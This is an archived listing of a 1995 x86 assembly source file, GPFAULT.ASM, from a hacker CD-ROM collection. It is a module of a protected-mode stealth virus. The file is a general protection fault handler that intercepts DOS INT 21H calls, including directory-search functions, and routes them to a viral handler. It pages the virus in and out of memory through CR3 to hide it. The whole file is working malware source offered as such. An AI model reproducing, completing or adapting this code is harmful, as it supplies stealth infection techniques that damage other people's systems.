home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / PROTMODE / GPFAULT.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-08-03  |  7.4 KB  |  157 lines

  1. ;*******************************************************************************
  2. ;* This is the general protection fault handler. It is the main handler for    *
  3. ;* emulating real mode interrupts, and i/o. It is Interrupt Vector D in        *
  4. ;* protected mode.
  5. ;*******************************************************************************
  6. ;(C) 1995 American Eagle Publications, Inc., All rights reserved!
  7.  
  8. GENERAL_FAULT:
  9.                 push    ebp
  10.                 mov     ebp,esp                 ;set up stack frame
  11.                 push    esi
  12.                 push    eax                     ;save registers
  13.                 push    ebx
  14.                 push    ecx
  15.  
  16.                 mov     ax,BIOS_SEL             ;es lets us look into the VM
  17.                 mov     es,ax
  18.  
  19.                 xor     ebx,ebx
  20.                 mov     bx,[ebp+12]             ;cs of call (VM style)
  21.                 shl     ebx,4
  22.                 add     ebx,[ebp+8]             ;ebx points to offending instr
  23.                 mov     eax,es:[ebx]            ;get that instruction
  24.  
  25. ;Handle INT XX instructions here--we reflect them all back to the VM.
  26. GPF_1:          cmp     ax,0FFCDH               ;is it an INT FF instruction?
  27.                 je      HANDLE_FFH              ;yes, it requires special handling
  28.                 cmp     al,0CDH                 ;is it an INT XX instruction?
  29.                 jne     GPF_2                   ;no, check for next offender
  30.  
  31. GPF_11:         push    eax                     ;save interrupt number
  32.                 xor     ebx,ebx
  33.                 mov     bx,[ebp+24]             ;get VM ss
  34.                 shl     ebx,4                   ;make absolute @ from it
  35.                 mov     ecx,[ebp+20]            ;get VM sp
  36.                 sub     ecx,6                   ;adjust stack here
  37.                 add     ebx,ecx                 ;absolute @ of stack in ebx
  38.                 mov     eax,[ebp+16]            ;get flags from VM caller
  39.                 mov     es:[ebx+4],ax           ;put flags on VM stack
  40.                 and     eax,0FFFFFDFFH          ;cli
  41.                 mov     [ebp+16],eax            ;save flags with cli for return
  42.                 mov     ax,[ebp+12]             ;get VM cs
  43.                 mov     es:[ebx+2],ax           ;save it on VM stack
  44.                 mov     eax,[ebp+8]             ;get VM ip
  45.                 add     eax,2                   ;update it to point to next instr
  46.                 mov     es:[ebx],ax             ;save it on VM stack
  47.                 mov     [ebp+20],ecx            ;and update it
  48.                 pop     ebx                     ;get interrupt number back now
  49.                 mov     bl,bh
  50.                 xor     bh,bh
  51.                 cmp     bl,21H                  ;special handling for INT 21H
  52.                 je      HANDLE_21H              ;go do it, else
  53. DO_REG:         shl     ebx,2                   ;calculate address of int vector
  54.                 mov     eax,es:[bx]             ;get it in ax
  55. SET_ADDR:       mov     [ebp+8],ax              ;save VM int handler as return ip
  56.                 shr     eax,16
  57.                 mov     [ebp+12],ax             ;and return cs
  58.                 jmp     GPF_EXIT                ;all done, get out
  59.  
  60. ;This portion of code handles Interrupt 21H calls. If the function is 11H,
  61. ;12H, or 4209H, then the virus code gets control. Otherwise, the original DOS
  62. ;handler gets control.
  63. HANDLE_21H:
  64.                 mov     ax,WORD PTR [ebp-8]     ;get ax from INT 21H call
  65.                 cmp     ax,4209H                ;must be function 42, 11 or 12
  66.                 je      H21SFS                  ;for special handling
  67.                 cmp     ah,11H
  68.                 je      H21GO
  69.                 cmp     ah,12H
  70.                 jne     DO_REG                  ;else process as regular int
  71. H21GO:          mov     ax,DATA_1_SEL           ;int 21H always goes to virus
  72.                 mov     ds,ax                   ;handler first
  73.                 call    PAGE_VIRUS_IN           ;page the virus into memory!
  74.                 mov     eax,[NEW_21H]           ;get address of viral INT 21H handler
  75.                 jmp     SET_ADDR
  76.  
  77. ;Interrupt 21H, Function 4209H handler - just clear carry and skip interrupt.
  78. H21SFS:
  79.                 add     WORD PTR [ebp+8],2      ;update ip to point to next instr
  80.                 add     WORD PTR [ebp+20],6     ;re-adjust stack in VM
  81.                 mov     eax,[ebp+16]            ;get flags
  82.                 or      eax,200H                ;sti
  83.                 and     eax,0FFFFFFFEH          ;clc
  84.                 mov     [ebp+16],eax            ;and save them
  85.                 jmp     GPF_EXIT
  86.  
  87.  
  88. ;This portion of code handles Interrupt 0FFH calls. If these come when
  89. ;VIRUS_PAGED_IN, then they get special handling here, because they are
  90. ;signals to return to the caller and page the virus out of memory.
  91. HANDLE_FFH:
  92.                 xor     ebx,ebx
  93.                 mov     bx,[ebp+24]             ;get VM ss
  94.                 shl     ebx,4                   ;make absolute @ from it
  95.                 mov     ecx,[ebp+20]            ;get VM sp
  96.                 add     ebx,ecx                 ;absolute @ of stack in ebx
  97.                 mov     eax,es:[ebx]            ;get cs:ip for iret
  98.                 mov     [ebp+8],ax              ;save ip on stack here
  99.                 shr     eax,16
  100.                 mov     [ebp+12],ax             ;save cs on stack here
  101.                 add     DWORD PTR [ebp+20],6    ;adjust VM sp
  102.                 mov     ax,DATA_1_SEL
  103.                 mov     ds,ax
  104.                 call    PAGE_VIRUS_OUT
  105.                 jmp     GPF_EXIT
  106.  
  107.  
  108. ;Handle IN AX,DX/ IN AL,DX/ OUT DX,AX/ OUT DX,AL here -- if we get a fault the
  109. ;port requested is greater than IO map, so just ignore it--no such ports are
  110. ;on the PC!
  111. GPF_2:          cmp     al,0ECH                 ;in al,dx
  112.                 jz      SHORT GPF_SKIP
  113.                 cmp     al,0EDH                 ;in ax,dx
  114.                 jz      SHORT GPF_SKIP
  115.                 cmp     al,0EEH                 ;out dx,al
  116.                 jz      SHORT GPF_SKIP
  117.                 cmp     al,0EFH                 ;out dx,ax
  118.                 jnz     SHORT FAULT_REPORT
  119.  
  120. GPF_SKIP:       inc     DWORD PTR [ebp+8]       ;skip offending instruction
  121. GPF_EXIT:       pop     ecx
  122.                 pop     ebx
  123.                 pop     eax
  124.                 pop     esi
  125.                 pop     ebp
  126.                 add     esp,4                   ;get error code off of stack
  127.                 iretd                           ;and return to V86 mode
  128.  
  129.  
  130. ;This routine pages the virus into memory. It just sets the logical pages
  131. ;up to point to where the virus is in physical memory.
  132. PAGE_VIRUS_IN:
  133.                 mov     eax,118000H             ;use straight linear=phys page
  134.                 mov     cr3,eax
  135. PVIR:           ret
  136.  
  137.  
  138. ;This routine pages the virus out of memory. It sets the logical pages to point
  139. ;to some empty physical memory where there is no viral code.
  140. PAGE_VIRUS_OUT:
  141.                 mov     eax,11A000H             ;use stealthed memory map
  142.                 mov     cr3,eax
  143. PVOR:           ret
  144.  
  145.  
  146. ;Report unknown General Protection fault to console.
  147. FAULT_REPORT:
  148.                 mov     ax,DATA_1_SEL
  149.                 mov     ds,ax
  150.                 mov     esi,OFFSET GPF_REPORT
  151.                 call    DISPLAY_MSG
  152.                 jmp     SHORT $
  153.  
  154. GPF_REPORT      DB      'General Protection Fault. Halting system! ',0
  155.  
  156.  
  157.